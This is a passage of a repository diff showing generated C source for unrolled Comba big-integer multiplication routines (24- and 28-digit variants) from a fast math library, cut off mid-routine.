MULADD(at[0], at[45]); MULADD(at[1], at[44]); MULADD(at[2], at[43]); MULADD(at[3], at[42]); MULADD(at[4], at[41]); MULADD(at[5], at[40]); MULADD(at[6], at[39]); MULADD(at[7], at[38]); MULADD(at[8], at[37]); MULADD(at[9], at[36]); MULADD(at[10], at[35]); MULADD(at[11], at[34]); MULADD(at[12], at[33]); MULADD(at[13], at[32]); MULADD(at[14], at[31]); MULADD(at[15], at[30]); MULADD(at[16], at[29]); MULADD(at[17], at[28]); MULADD(at[18], at[27]); MULADD(at[19], at[26]); MULADD(at[20], at[25]); MULADD(at[21], at[24]);
COMBA_STORE(C->dp[21]);
/* 22 */
COMBA_FORWARD;
MULADD(at[0], at[46]); MULADD(at[1], at[45]); MULADD(at[2], at[44]); MULADD(at[3], at[43]); MULADD(at[4], at[42]); MULADD(at[5], at[41]); MULADD(at[6], at[40]); MULADD(at[7], at[39]); MULADD(at[8], at[38]); MULADD(at[9], at[37]); MULADD(at[10], at[36]); MULADD(at[11], at[35]); MULADD(at[12], at[34]); MULADD(at[13], at[33]); MULADD(at[14], at[32]); MULADD(at[15], at[31]); MULADD(at[16], at[30]); MULADD(at[17], at[29]); MULADD(at[18], at[28]); MULADD(at[19], at[27]); MULADD(at[20], at[26]); MULADD(at[21], at[25]); MULADD(at[22], at[24]);
COMBA_STORE(C->dp[22]);
/* 23 */
COMBA_FORWARD;
MULADD(at[0], at[47]); MULADD(at[1], at[46]); MULADD(at[2], at[45]); MULADD(at[3], at[44]); MULADD(at[4], at[43]); MULADD(at[5], at[42]); MULADD(at[6], at[41]); MULADD(at[7], at[40]); MULADD(at[8], at[39]); MULADD(at[9], at[38]); MULADD(at[10], at[37]); MULADD(at[11], at[36]); MULADD(at[12], at[35]); MULADD(at[13], at[34]); MULADD(at[14], at[33]); MULADD(at[15], at[32]); MULADD(at[16], at[31]); MULADD(at[17], at[30]); MULADD(at[18], at[29]); MULADD(at[19], at[28]); MULADD(at[20], at[27]); MULADD(at[21], at[26]); MULADD(at[22], at[25]); MULADD(at[23], at[24]);
COMBA_STORE(C->dp[23]);
/* 24 */
COMBA_FORWARD;
MULADD(at[1], at[47]); MULADD(at[2], at[46]); MULADD(at[3], at[45]); MULADD(at[4], at[44]); MULADD(at[5], at[43]); MULADD(at[6], at[42]); MULADD(at[7], at[41]); MULADD(at[8], at[40]); MULADD(at[9], at[39]); MULADD(at[10], at[38]); MULADD(at[11], at[37]); MULADD(at[12], at[36]); MULADD(at[13], at[35]); MULADD(at[14], at[34]); MULADD(at[15], at[33]); MULADD(at[16], at[32]); MULADD(at[17], at[31]); MULADD(at[18], at[30]); MULADD(at[19], at[29]); MULADD(at[20], at[28]); MULADD(at[21], at[27]); MULADD(at[22], at[26]); MULADD(at[23], at[25]);
COMBA_STORE(C->dp[24]);
/* 25 */
COMBA_FORWARD;
MULADD(at[2], at[47]); MULADD(at[3], at[46]); MULADD(at[4], at[45]); MULADD(at[5], at[44]); MULADD(at[6], at[43]); MULADD(at[7], at[42]); MULADD(at[8], at[41]); MULADD(at[9], at[40]); MULADD(at[10], at[39]); MULADD(at[11], at[38]); MULADD(at[12], at[37]); MULADD(at[13], at[36]); MULADD(at[14], at[35]); MULADD(at[15], at[34]); MULADD(at[16], at[33]); MULADD(at[17], at[32]); MULADD(at[18], at[31]); MULADD(at[19], at[30]); MULADD(at[20], at[29]); MULADD(at[21], at[28]); MULADD(at[22], at[27]); MULADD(at[23], at[26]);
COMBA_STORE(C->dp[25]);
/* 26 */
COMBA_FORWARD;
MULADD(at[3], at[47]); MULADD(at[4], at[46]); MULADD(at[5], at[45]); MULADD(at[6], at[44]); MULADD(at[7], at[43]); MULADD(at[8], at[42]); MULADD(at[9], at[41]); MULADD(at[10], at[40]); MULADD(at[11], at[39]); MULADD(at[12], at[38]); MULADD(at[13], at[37]); MULADD(at[14], at[36]); MULADD(at[15], at[35]); MULADD(at[16], at[34]); MULADD(at[17], at[33]); MULADD(at[18], at[32]); MULADD(at[19], at[31]); MULADD(at[20], at[30]); MULADD(at[21], at[29]); MULADD(at[22], at[28]); MULADD(at[23], at[27]);
COMBA_STORE(C->dp[26]);
/* 27 */
COMBA_FORWARD;
MULADD(at[4], at[47]); MULADD(at[5], at[46]); MULADD(at[6], at[45]); MULADD(at[7], at[44]); MULADD(at[8], at[43]); MULADD(at[9], at[42]); MULADD(at[10], at[41]); MULADD(at[11], at[40]); MULADD(at[12], at[39]); MULADD(at[13], at[38]); MULADD(at[14], at[37]); MULADD(at[15], at[36]); MULADD(at[16], at[35]); MULADD(at[17], at[34]); MULADD(at[18], at[33]); MULADD(at[19], at[32]); MULADD(at[20], at[31]); MULADD(at[21], at[30]); MULADD(at[22], at[29]); MULADD(at[23], at[28]);
COMBA_STORE(C->dp[27]);
/* 28 */
COMBA_FORWARD;
MULADD(at[5], at[47]); MULADD(at[6], at[46]); MULADD(at[7], at[45]); MULADD(at[8], at[44]); MULADD(at[9], at[43]); MULADD(at[10], at[42]); MULADD(at[11], at[41]); MULADD(at[12], at[40]); MULADD(at[13], at[39]); MULADD(at[14], at[38]); MULADD(at[15], at[37]); MULADD(at[16], at[36]); MULADD(at[17], at[35]); MULADD(at[18], at[34]); MULADD(at[19], at[33]); MULADD(at[20], at[32]); MULADD(at[21], at[31]); MULADD(at[22], at[30]); MULADD(at[23], at[29]);
COMBA_STORE(C->dp[28]);
/* 29 */
COMBA_FORWARD;
MULADD(at[6], at[47]); MULADD(at[7], at[46]); MULADD(at[8], at[45]); MULADD(at[9], at[44]); MULADD(at[10], at[43]); MULADD(at[11], at[42]); MULADD(at[12], at[41]); MULADD(at[13], at[40]); MULADD(at[14], at[39]); MULADD(at[15], at[38]); MULADD(at[16], at[37]); MULADD(at[17], at[36]); MULADD(at[18], at[35]); MULADD(at[19], at[34]); MULADD(at[20], at[33]); MULADD(at[21], at[32]); MULADD(at[22], at[31]); MULADD(at[23], at[30]);
COMBA_STORE(C->dp[29]);
/* 30 */
COMBA_FORWARD;
MULADD(at[7], at[47]); MULADD(at[8], at[46]); MULADD(at[9], at[45]); MULADD(at[10], at[44]); MULADD(at[11], at[43]); MULADD(at[12], at[42]); MULADD(at[13], at[41]); MULADD(at[14], at[40]); MULADD(at[15], at[39]); MULADD(at[16], at[38]); MULADD(at[17], at[37]); MULADD(at[18], at[36]); MULADD(at[19], at[35]); MULADD(at[20], at[34]); MULADD(at[21], at[33]); MULADD(at[22], at[32]); MULADD(at[23], at[31]);
COMBA_STORE(C->dp[30]);
/* 31 */
COMBA_FORWARD;
MULADD(at[8], at[47]); MULADD(at[9], at[46]); MULADD(at[10], at[45]); MULADD(at[11], at[44]); MULADD(at[12], at[43]); MULADD(at[13], at[42]); MULADD(at[14], at[41]); MULADD(at[15], at[40]); MULADD(at[16], at[39]); MULADD(at[17], at[38]); MULADD(at[18], at[37]); MULADD(at[19], at[36]); MULADD(at[20], at[35]); MULADD(at[21], at[34]); MULADD(at[22], at[33]); MULADD(at[23], at[32]);
COMBA_STORE(C->dp[31]);
/* 32 */
COMBA_FORWARD;
MULADD(at[9], at[47]); MULADD(at[10], at[46]); MULADD(at[11], at[45]); MULADD(at[12], at[44]); MULADD(at[13], at[43]); MULADD(at[14], at[42]); MULADD(at[15], at[41]); MULADD(at[16], at[40]); MULADD(at[17], at[39]); MULADD(at[18], at[38]); MULADD(at[19], at[37]); MULADD(at[20], at[36]); MULADD(at[21], at[35]); MULADD(at[22], at[34]); MULADD(at[23], at[33]);
COMBA_STORE(C->dp[32]);
/* 33 */
COMBA_FORWARD;
MULADD(at[10], at[47]); MULADD(at[11], at[46]); MULADD(at[12], at[45]); MULADD(at[13], at[44]); MULADD(at[14], at[43]); MULADD(at[15], at[42]); MULADD(at[16], at[41]); MULADD(at[17], at[40]); MULADD(at[18], at[39]); MULADD(at[19], at[38]); MULADD(at[20], at[37]); MULADD(at[21], at[36]); MULADD(at[22], at[35]); MULADD(at[23], at[34]);
COMBA_STORE(C->dp[33]);
/* 34 */
COMBA_FORWARD;
MULADD(at[11], at[47]); MULADD(at[12], at[46]); MULADD(at[13], at[45]); MULADD(at[14], at[44]); MULADD(at[15], at[43]); MULADD(at[16], at[42]); MULADD(at[17], at[41]); MULADD(at[18], at[40]); MULADD(at[19], at[39]); MULADD(at[20], at[38]); MULADD(at[21], at[37]); MULADD(at[22], at[36]); MULADD(at[23], at[35]);
COMBA_STORE(C->dp[34]);
/* 35 */
COMBA_FORWARD;
MULADD(at[12], at[47]); MULADD(at[13], at[46]); MULADD(at[14], at[45]); MULADD(at[15], at[44]); MULADD(at[16], at[43]); MULADD(at[17], at[42]); MULADD(at[18], at[41]); MULADD(at[19], at[40]); MULADD(at[20], at[39]); MULADD(at[21], at[38]); MULADD(at[22], at[37]); MULADD(at[23], at[36]);
COMBA_STORE(C->dp[35]);
/* 36 */
COMBA_FORWARD;
MULADD(at[13], at[47]); MULADD(at[14], at[46]); MULADD(at[15], at[45]); MULADD(at[16], at[44]); MULADD(at[17], at[43]); MULADD(at[18], at[42]); MULADD(at[19], at[41]); MULADD(at[20], at[40]); MULADD(at[21], at[39]); MULADD(at[22], at[38]); MULADD(at[23], at[37]);
COMBA_STORE(C->dp[36]);
/* 37 */
COMBA_FORWARD;
MULADD(at[14], at[47]); MULADD(at[15], at[46]); MULADD(at[16], at[45]); MULADD(at[17], at[44]); MULADD(at[18], at[43]); MULADD(at[19], at[42]); MULADD(at[20], at[41]); MULADD(at[21], at[40]); MULADD(at[22], at[39]); MULADD(at[23], at[38]);
COMBA_STORE(C->dp[37]);
/* 38 */
COMBA_FORWARD;
MULADD(at[15], at[47]); MULADD(at[16], at[46]); MULADD(at[17], at[45]); MULADD(at[18], at[44]); MULADD(at[19], at[43]); MULADD(at[20], at[42]); MULADD(at[21], at[41]); MULADD(at[22], at[40]); MULADD(at[23], at[39]);
COMBA_STORE(C->dp[38]);
/* 39 */
COMBA_FORWARD;
MULADD(at[16], at[47]); MULADD(at[17], at[46]); MULADD(at[18], at[45]); MULADD(at[19], at[44]); MULADD(at[20], at[43]); MULADD(at[21], at[42]); MULADD(at[22], at[41]); MULADD(at[23], at[40]);
COMBA_STORE(C->dp[39]);
/* 40 */
COMBA_FORWARD;
MULADD(at[17], at[47]); MULADD(at[18], at[46]); MULADD(at[19], at[45]); MULADD(at[20], at[44]); MULADD(at[21], at[43]); MULADD(at[22], at[42]); MULADD(at[23], at[41]);
COMBA_STORE(C->dp[40]);
/* 41 */
COMBA_FORWARD;
MULADD(at[18], at[47]); MULADD(at[19], at[46]); MULADD(at[20], at[45]); MULADD(at[21], at[44]); MULADD(at[22], at[43]); MULADD(at[23], at[42]);
COMBA_STORE(C->dp[41]);
/* 42 */
COMBA_FORWARD;
MULADD(at[19], at[47]); MULADD(at[20], at[46]); MULADD(at[21], at[45]); MULADD(at[22], at[44]); MULADD(at[23], at[43]);
COMBA_STORE(C->dp[42]);
/* 43 */
COMBA_FORWARD;
MULADD(at[20], at[47]); MULADD(at[21], at[46]); MULADD(at[22], at[45]); MULADD(at[23], at[44]);
COMBA_STORE(C->dp[43]);
/* 44 */
COMBA_FORWARD;
MULADD(at[21], at[47]); MULADD(at[22], at[46]); MULADD(at[23], at[45]);
COMBA_STORE(C->dp[44]);
/* 45 */
COMBA_FORWARD;
MULADD(at[22], at[47]); MULADD(at[23], at[46]);
COMBA_STORE(C->dp[45]);
/* 46 */
COMBA_FORWARD;
MULADD(at[23], at[47]);
COMBA_STORE(C->dp[46]);
COMBA_STORE2(C->dp[47]);
C->used = 48;
C->sign = A->sign ^ B->sign;
fp_clamp(C);
COMBA_FINI;
}
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,244 @@
#define TFM_DEFINES
#include "fp_mul_comba.c"
#if defined(TFM_MUL28) && FP_SIZE >= 56
void fp_mul_comba28(fp_int *A, fp_int *B, fp_int *C)
{
fp_digit c0, c1, c2, at[56];
memcpy(at, A->dp, 28 * sizeof(fp_digit));
memcpy(at+28, B->dp, 28 * sizeof(fp_digit));
COMBA_START;
COMBA_CLEAR;
/* 0 */
MULADD(at[0], at[28]);
COMBA_STORE(C->dp[0]);
/* 1 */
COMBA_FORWARD;
MULADD(at[0], at[29]); MULADD(at[1], at[28]);
COMBA_STORE(C->dp[1]);
/* 2 */
COMBA_FORWARD;
MULADD(at[0], at[30]); MULADD(at[1], at[29]); MULADD(at[2], at[28]);
COMBA_STORE(C->dp[2]);
/* 3 */
COMBA_FORWARD;
MULADD(at[0], at[31]); MULADD(at[1], at[30]); MULADD(at[2], at[29]); MULADD(at[3], at[28]);
COMBA_STORE(C->dp[3]);
/* 4 */
COMBA_FORWARD;
MULADD(at[0], at[32]); MULADD(at[1], at[31]); MULADD(at[2], at[30]); MULADD(at[3], at[29]); MULADD(at[4], at[28]);
COMBA_STORE(C->dp[4]);
/* 5 */
COMBA_FORWARD;
MULADD(at[0], at[33]); MULADD(at[1], at[32]); MULADD(at[2], at[31]); MULADD(at[3], at[30]); MULADD(at[4], at[29]); MULADD(at[5], at[28]);
COMBA_STORE(C->dp[5]);
/* 6 */
COMBA_FORWARD;
MULADD(at[0], at[34]); MULADD(at[1], at[33]); MULADD(at[2], at[32]); MULADD(at[3], at[31]); MULADD(at[4], at[30]); MULADD(at[5], at[29]); MULADD(at[6], at[28]);
COMBA_STORE(C->dp[6]);
/* 7 */
COMBA_FORWARD;
MULADD(at[0], at[35]); MULADD(at[1], at[34]); MULADD(at[2], at[33]); MULADD(at[3], at[32]); MULADD(at[4], at[31]); MULADD(at[5], at[30]); MULADD(at[6], at[29]); MULADD(at[7], at[28]);
COMBA_STORE(C->dp[7]);
/* 8 */
COMBA_FORWARD;
MULADD(at[0], at[36]); MULADD(at[1], at[35]); MULADD(at[2], at[34]); MULADD(at[3], at[33]); MULADD(at[4], at[32]); MULADD(at[5], at[31]); MULADD(at[6], at[30]); MULADD(at[7], at[29]); MULADD(at[8], at[28]);
COMBA_STORE(C->dp[8]);
/* 9 */
COMBA_FORWARD;
MULADD(at[0], at[37]); MULADD(at[1], at[36]); MULADD(at[2], at[35]); MULADD(at[3], at[34]); MULADD(at[4], at[33]); MULADD(at[5], at[32]); MULADD(at[6], at[31]); MULADD(at[7], at[30]); MULADD(at[8], at[29]); MULADD(at[9], at[28]);
COMBA_STORE(C->dp[9]);
/* 10 */
COMBA_FORWARD;
MULADD(at[0], at[38]); MULADD(at[1], at[37]); MULADD(at[2], at[36]); MULADD(at[3], at[35]); MULADD(at[4], at[34]); MULADD(at[5], at[33]); MULADD(at[6], at[32]); MULADD(at[7], at[31]); MULADD(at[8], at[30]); MULADD(at[9], at[29]); MULADD(at[10], at[28]);
COMBA_STORE(C->dp[10]);
/* 11 */
COMBA_FORWARD;
MULADD(at[0], at[39]); MULADD(at[1], at[38]); MULADD(at[2], at[37]); MULADD(at[3], at[36]); MULADD(at[4], at[35]); MULADD(at[5], at[34]); MULADD(at[6], at[33]); MULADD(at[7], at[32]); MULADD(at[8], at[31]); MULADD(at[9], at[30]); MULADD(at[10], at[29]); MULADD(at[11], at[28]);
COMBA_STORE(C->dp[11]);
/* 12 */
COMBA_FORWARD;
MULADD(at[0], at[40]); MULADD(at[1], at[39]); MULADD(at[2], at[38]); MULADD(at[3], at[37]); MULADD(at[4], at[36]); MULADD(at[5], at[35]); MULADD(at[6], at[34]); MULADD(at[7], at[33]); MULADD(at[8], at[32]); MULADD(at[9], at[31]); MULADD(at[10], at[30]); MULADD(at[11], at[29]); MULADD(at[12], at[28]);
COMBA_STORE(C->dp[12]);
/* 13 */
COMBA_FORWARD;
MULADD(at[0], at[41]); MULADD(at[1], at[40]); MULADD(at[2], at[39]); MULADD(at[3], at[38]); MULADD(at[4], at[37]); MULADD(at[5], at[36]); MULADD(at[6], at[35]); MULADD(at[7], at[34]); MULADD(at[8], at[33]); MULADD(at[9], at[32]); MULADD(at[10], at[31]); MULADD(at[11], at[30]); MULADD(at[12], at[29]); MULADD(at[13], at[28]);
COMBA_STORE(C->dp[13]);
/* 14 */
COMBA_FORWARD;
MULADD(at[0], at[42]); MULADD(at[1], at[41]); MULADD(at[2], at[40]); MULADD(at[3], at[39]); MULADD(at[4], at[38]); MULADD(at[5], at[37]); MULADD(at[6], at[36]); MULADD(at[7], at[35]); MULADD(at[8], at[34]); MULADD(at[9], at[33]); MULADD(at[10], at[32]); MULADD(at[11], at[31]); MULADD(at[12], at[30]); MULADD(at[13], at[29]); MULADD(at[14], at[28]);
COMBA_STORE(C->dp[14]);
/* 15 */
COMBA_FORWARD;
MULADD(at[0], at[43]); MULADD(at[1], at[42]); MULADD(at[2], at[41]); MULADD(at[3], at[40]); MULADD(at[4], at[39]); MULADD(at[5], at[38]); MULADD(at[6], at[37]); MULADD(at[7], at[36]); MULADD(at[8], at[35]); MULADD(at[9], at[34]); MULADD(at[10], at[33]); MULADD(at[11], at[32]); MULADD(at[12], at[31]); MULADD(at[13], at[30]); MULADD(at[14], at[29]); MULADD(at[15], at[28]);
COMBA_STORE(C->dp[15]);
/* 16 */
COMBA_FORWARD;
MULADD(at[0], at[44]); MULADD(at[1], at[43]); MULADD(at[2], at[42]); MULADD(at[3], at[41]); MULADD(at[4], at[40]); MULADD(at[5], at[39]); MULADD(at[6], at[38]); MULADD(at[7], at[37]); MULADD(at[8], at[36]); MULADD(at[9], at[35]); MULADD(at[10], at[34]); MULADD(at[11], at[33]); MULADD(at[12], at[32]); MULADD(at[13], at[31]); MULADD(at[14], at[30]); MULADD(at[15], at[29]); MULADD(at[16], at[28]);
COMBA_STORE(C->dp[16]);
/* 17 */
COMBA_FORWARD;
MULADD(at[0], at[45]); MULADD(at[1], at[44]); MULADD(at[2], at[43]); MULADD(at[3], at[42]); MULADD(at[4], at[41]); MULADD(at[5], at[40]); MULADD(at[6], at[39]); MULADD(at[7], at[38]); MULADD(at[8], at[37]); MULADD(at[9], at[36]); MULADD(at[10], at[35]); MULADD(at[11], at[34]); MULADD(at[12], at[33]); MULADD(at[13], at[32]); MULADD(at[14], at[31]); MULADD(at[15], at[30]); MULADD(at[16], at[29]); MULADD(at[17], at[28]);
COMBA_STORE(C->dp[17]);
/* 18 */
COMBA_FORWARD;
MULADD(at[0], at[46]); MULADD(at[1], at[45]); MULADD(at[2], at[44]); MULADD(at[3], at[43]); MULADD(at[4], at[42]); MULADD(at[5], at[41]); MULADD(at[6], at[40]); MULADD(at[7], at[39]); MULADD(at[8], at[38]); MULADD(at[9], at[37]); MULADD(at[10], at[36]); MULADD(at[11], at[35]); MULADD(at[12], at[34]); MULADD(at[13], at[33]); MULADD(at[14], at[32]); MULADD(at[15], at[31]); MULADD(at[16], at[30]); MULADD(at[17], at[29]); MULADD(at[18], at[28]);
COMBA_STORE(C->dp[18]);
/* 19 */
COMBA_FORWARD;
MULADD(at[0], at[47]); MULADD(at[1], at[46]); MULADD(at[2], at[45]); MULADD(at[3], at[44]); MULADD(at[4], at[43]); MULADD(at[5], at[42]); MULADD(at[6], at[41]); MULADD(at[7], at[40]); MULADD(at[8], at[39]); MULADD(at[9], at[38]); MULADD(at[10], at[37]); MULADD(at[11], at[36]); MULADD(at[12], at[35]); MULADD(at[13], at[34]); MULADD(at[14], at[33]); MULADD(at[15], at[32]); MULADD(at[16], at[31]); MULADD(at[17], at[30]); MULADD(at[18], at[29]); MULADD(at[19], at[28]);
COMBA_STORE(C->dp[19]);
/* 20 */
COMBA_FORWARD;
MULADD(at[0], at[48]); MULADD(at[1], at[47]); MULADD(at[2], at[46]); MULADD(at[3], at[45]); MULADD(at[4], at[44]); MULADD(at[5], at[43]); MULADD(at[6], at[42]); MULADD(at[7], at[41]); MULADD(at[8], at[40]); MULADD(at[9], at[39]); MULADD(at[10], at[38]); MULADD(at[11], at[37]); MULADD(at[12], at[36]); MULADD(at[13], at[35]); MULADD(at[14], at[34]); MULADD(at[15], at[33]); MULADD(at[16], at[32]); MULADD(at[17], at[31]); MULADD(at[18], at[30]); MULADD(at[19], at[29]); MULADD(at[20], at[28]);
COMBA_STORE(C->dp[20]);
/* 21 */
COMBA_FORWARD;
MULADD(at[0], at[49]); MULADD(at[1], at[48]); MULADD(at[2], at[47]); MULADD(at[3], at[46]); MULADD(at[4], at[45]); MULADD(at[5], at[44]); MULADD(at[6], at[43]); MULADD(at[7], at[42]); MULADD(at[8], at[41]); MULADD(at[9], at[40]); MULADD(at[10], at[39]); MULADD(at[11], at[38]); MULADD(at[12], at[37]); MULADD(at[13], at[36]); MULADD(at[14], at[35]); MULADD(at[15], at[34]); MULADD(at[16], at[33]); MULADD(at[17], at[32]); MULADD(at[18], at[31]); MULADD(at[19], at[30]); MULADD(at[20], at[29]); MULADD(at[21], at[28]);
COMBA_STORE(C->dp[21]);
/* 22 */
COMBA_FORWARD;
MULADD(at[0], at[50]); MULADD(at[1], at[49]); MULADD(at[2], at[48]); MULADD(at[3], at[47]); MULADD(at[4], at[46]); MULADD(at[5], at[45]); MULADD(at[6], at[44]); MULADD(at[7], at[43]); MULADD(at[8], at[42]); MULADD(at[9], at[41]); MULADD(at[10], at[40]); MULADD(at[11], at[39]); MULADD(at[12], at[38]); MULADD(at[13], at[37]); MULADD(at[14], at[36]); MULADD(at[15], at[35]); MULADD(at[16], at[34]); MULADD(at[17], at[33]); MULADD(at[18], at[32]); MULADD(at[19], at[31]); MULADD(at[20], at[30]); MULADD(at[21], at[29]); MULADD(at[22], at[28]);
COMBA_STORE(C->dp[22]);
/* 23 */
COMBA_FORWARD;
MULADD(at[0], at[51]); MULADD(at[1], at[50]); MULADD(at[2], at[49]); MULADD(at[3], at[48]); MULADD(at[4], at[47]); MULADD(at[5], at[46]); MULADD(at[6], at[45]); MULADD(at[7], at[44]); MULADD(at[8], at[43]); MULADD(at[9], at[42]); MULADD(at[10], at[41]); MULADD(at[11], at[40]); MULADD(at[12], at[39]); MULADD(at[13], at[38]); MULADD(at[14], at[37]); MULADD(at[15], at[36]); MULADD(at[16], at[35]); MULADD(at[17], at[34]); MULADD(at[18], at[33]); MULADD(at[19], at[32]); MULADD(at[20], at[31]); MULADD(at[21], at[30]); MULADD(at[22], at[29]); MULADD(at[23], at[28]);
COMBA_STORE(C->dp[23]);
/* 24 */
COMBA_FORWARD;
MULADD(at[0], at[52]); MULADD(at[1], at[51]); MULADD(at[2], at[50]); MULADD(at[3], at[49]); MULADD(at[4], at[48]); MULADD(at[5], at[47]); MULADD(at[6], at[46]); MULADD(at[7], at[45]); MULADD(at[8], at[44]); MULADD(at[9], at[43]); MULADD(at[10], at[42]); MULADD(at[11], at[41]); MULADD(at[12], at[40]); MULADD(at[13], at[39]); MULADD(at[14], at[38]); MULADD(at[15], at[37]); MULADD(at[16], at[36]); MULADD(at[17], at[35]); MULADD(at[18], at[34]); MULADD(at[19], at[33]); MULADD(at[20], at[32]); MULADD(at[21], at[31]); MULADD(at[22], at[30]); MULADD(at[23], at[29]); MULADD(at[24], at[28]);
COMBA_STORE(C->dp[24]);
/* 25 */
COMBA_FORWARD;
MULADD(at[0], at[53]); MULADD(at[1], at[52]); MULADD(at[2], at[51]); MULADD(at[3], at[50]); MULADD(at[4], at[49]); MULADD(at[5], at[48]); MULADD(at[6], at[47]); MULADD(at[7], at[46]); MULADD(at[8], at[45]); MULADD(at[9], at[44]); MULADD(at[10], at[43]); MULADD(at[11], at[42]); MULADD(at[12], at[41]); MULADD(at[13], at[40]); MULADD(at[14], at[39]); MULADD(at[15], at[38]); MULADD(at[16], at[37]); MULADD(at[17], at[36]); MULADD(at[18], at[35]); MULADD(at[19], at[34]); MULADD(at[20], at[33]); MULADD(at[21], at[32]); MULADD(at[22], at[31]); MULADD(at[23], at[30]); MULADD(at[24], at[29]); MULADD(at[25], at[28]);
COMBA_STORE(C->dp[25]);
/* 26 */
COMBA_FORWARD;
MULADD(at[0], at[54]); MULADD(at[1], at[53]); MULADD(at[2], at[52]); MULADD(at[3], at[51]); MULADD(at[4], at[50]); MULADD(at[5], at[49]); MULADD(at[6], at[48]); MULADD(at[7], at[47]); MULADD(at[8], at[46]); MULADD(at[9], at[45]); MULADD(at[10], at[44]); MULADD(at[11], at[43]); MULADD(at[12], at[42]); MULADD(at[13], at[41]); MULADD(at[14], at[40]); MULADD(at[15], at[39]); MULADD(at[16], at[38]); MULADD(at[17], at[37]); MULADD(at[18], at[36]); MULADD(at[19], at[35]); MULADD(at[20], at[34]); MULADD(at[21], at[33]); MULADD(at[22], at[32]); MULADD(at[23], at[31]); MULADD(at[24], at[30]); MULADD(at[25], at[29]); MULADD(at[26], at[28]);
COMBA_STORE(C->dp[26]);
/* 27 */
COMBA_FORWARD;
MULADD(at[0], at[55]); MULADD(at[1], at[54]); MULADD(at[2], at[53]); MULADD(at[3], at[52]); MULADD(at[4], at[51]); MULADD(at[5], at[50]); MULADD(at[6], at[49]); MULADD(at[7], at[48]); MULADD(at[8], at[47]); MULADD(at[9], at[46]); MULADD(at[10], at[45]); MULADD(at[11], at[44]); MULADD(at[12], at[43]); MULADD(at[13], at[42]); MULADD(at[14], at[41]); MULADD(at[15], at[40]); MULADD(at[16], at[39]); MULADD(at[17], at[38]); MULADD(at[18], at[37]); MULADD(at[19], at[36]); MULADD(at[20], at[35]); MULADD(at[21], at[34]); MULADD(at[22], at[33]); MULADD(at[23], at[32]); MULADD(at[24], at[31]); MULADD(at[25], at[30]); MULADD(at[26], at[29]); MULADD(at[27], at[28]);
COMBA_STORE(C->dp[27]);
/* 28 */
COMBA_FORWARD;
MULADD(at[1], at[55]); MULADD(at[2], at[54]); MULADD(at[3], at[53]); MULADD(at[4], at[52]); MULADD(at[5], at[51]); MULADD(at[6], at[50]); MULADD(at[7], at[49]); MULADD(at[8], at[48]); MULADD(at[9], at[47]); MULADD(at[10], at[46]); MULADD(at[11], at[45]); MULADD(at[12], at[44]); MULADD(at[13], at[43]); MULADD(at[14], at[42]); MULADD(at[15], at[41]); MULADD(at[16], at[40]); MULADD(at[17], at[39]); MULADD(at[18], at[38]); MULADD(at[19], at[37]); MULADD(at[20], at[36]); MULADD(at[21], at[35]); MULADD(at[22], at[34]); MULADD(at[23], at[33]); MULADD(at[24], at[32]); MULADD(at[25], at[31]); MULADD(at[26], at[30]); MULADD(at[27], at[29]);
COMBA_STORE(C->dp[28]);
/* 29 */
COMBA_FORWARD;
MULADD(at[2], at[55]); MULADD(at[3], at[54]); MULADD(at[4], at[53]); MULADD(at[5], at[52]); MULADD(at[6], at[51]); MULADD(at[7], at[50]); MULADD(at[8], at[49]); MULADD(at[9], at[48]); MULADD(at[10], at[47]); MULADD(at[11], at[46]); MULADD(at[12], at[45]); MULADD(at[13], at[44]); MULADD(at[14], at[43]); MULADD(at[15], at[42]); MULADD(at[16], at[41]); MULADD(at[17], at[40]); MULADD(at[18], at[39]); MULADD(at[19], at[38]); MULADD(at[20], at[37]); MULADD(at[21], at[36]); MULADD(at[22], at[35]); MULADD(at[23], at[34]); MULADD(at[24], at[33]); MULADD(at[25], at[32]); MULADD(at[26], at[31]); MULADD(at[27], at[30]);
COMBA_STORE(C->dp[29]);
/* 30 */
COMBA_FORWARD;
MULADD(at[3], at[55]); MULADD(at[4], at[54]); MULADD(at[5], at[53]); MULADD(at[6], at[52]); MULADD(at[7], at[51]); MULADD(at[8], at[50]); MULADD(at[9], at[49]); MULADD(at[10], at[48]); MULADD(at[11], at[47]); MULADD(at[12], at[46]); MULADD(at[13], at[45]); MULADD(at[14], at[44]); MULADD(at[15], at[43]); MULADD(at[16], at[42]); MULADD(at[17], at[41]); MULADD(at[18], at[40]); MULADD(at[19], at[39]); MULADD(at[20], at[38]); MULADD(at[21], at[37]); MULADD(at[22], at[36]); MULADD(at[23], at[35]); MULADD(at[24], at[34]); MULADD(at[25], at[33]); MULADD(at[26], at[32]); MULADD(at[27], at[31]);
COMBA_STORE(C->dp[30]);
/* 31 */
COMBA_FORWARD;
MULADD(at[4], at[55]); MULADD(at[5], at[54]); MULADD(at[6], at[53]); MULADD(at[7], at[52]); MULADD(at[8], at[51]); MULADD(at[9], at[50]); MULADD(at[10], at[49]); MULADD(at[11], at[48]); MULADD(at[12], at[47]); MULADD(at[13], at[46]); MULADD(at[14], at[45]); MULADD(at[15], at[44]); MULADD(at[16], at[43]); MULADD(at[17], at[42]); MULADD(at[18], at[41]); MULADD(at[19], at[40]); MULADD(at[20], at[39]); MULADD(at[21], at[38]); MULADD(at[22], at[37]); MULADD(at[23], at[36]); MULADD(at[24], at[35]); MULADD(at[25], at[34]); MULADD(at[26], at[33]); MULADD(at[27], at[32]);
COMBA_STORE(C->dp[31]);
/* 32 */
COMBA_FORWARD;
MULADD(at[5], at[55]); MULADD(at[6], at[54]); MULADD(at[7], at[53]); MULADD(at[8], at[52]); MULADD(at[9], at[51]); MULADD(at[10], at[50]); MULADD(at[11], at[49]); MULADD(at[12], at[48]); MULADD(at[13], at[47]); MULADD(at[14], at[46]); MULADD(at[15], at[45]); MULADD(at[16], at[44]); MULADD(at[17], at[43]); MULADD(at[18], at[42]); MULADD(at[19], at[41]); MULADD(at[20], at[40]); MULADD(at[21], at[39]); MULADD(at[22], at[38]); MULADD(at[23], at[37]); MULADD(at[24], at[36]); MULADD(at[25], at[35]); MULADD(at[26], at[34]); MULADD(at[27], at[33]);
COMBA_STORE(C->dp[32]);
/* 33 */
COMBA_FORWARD;
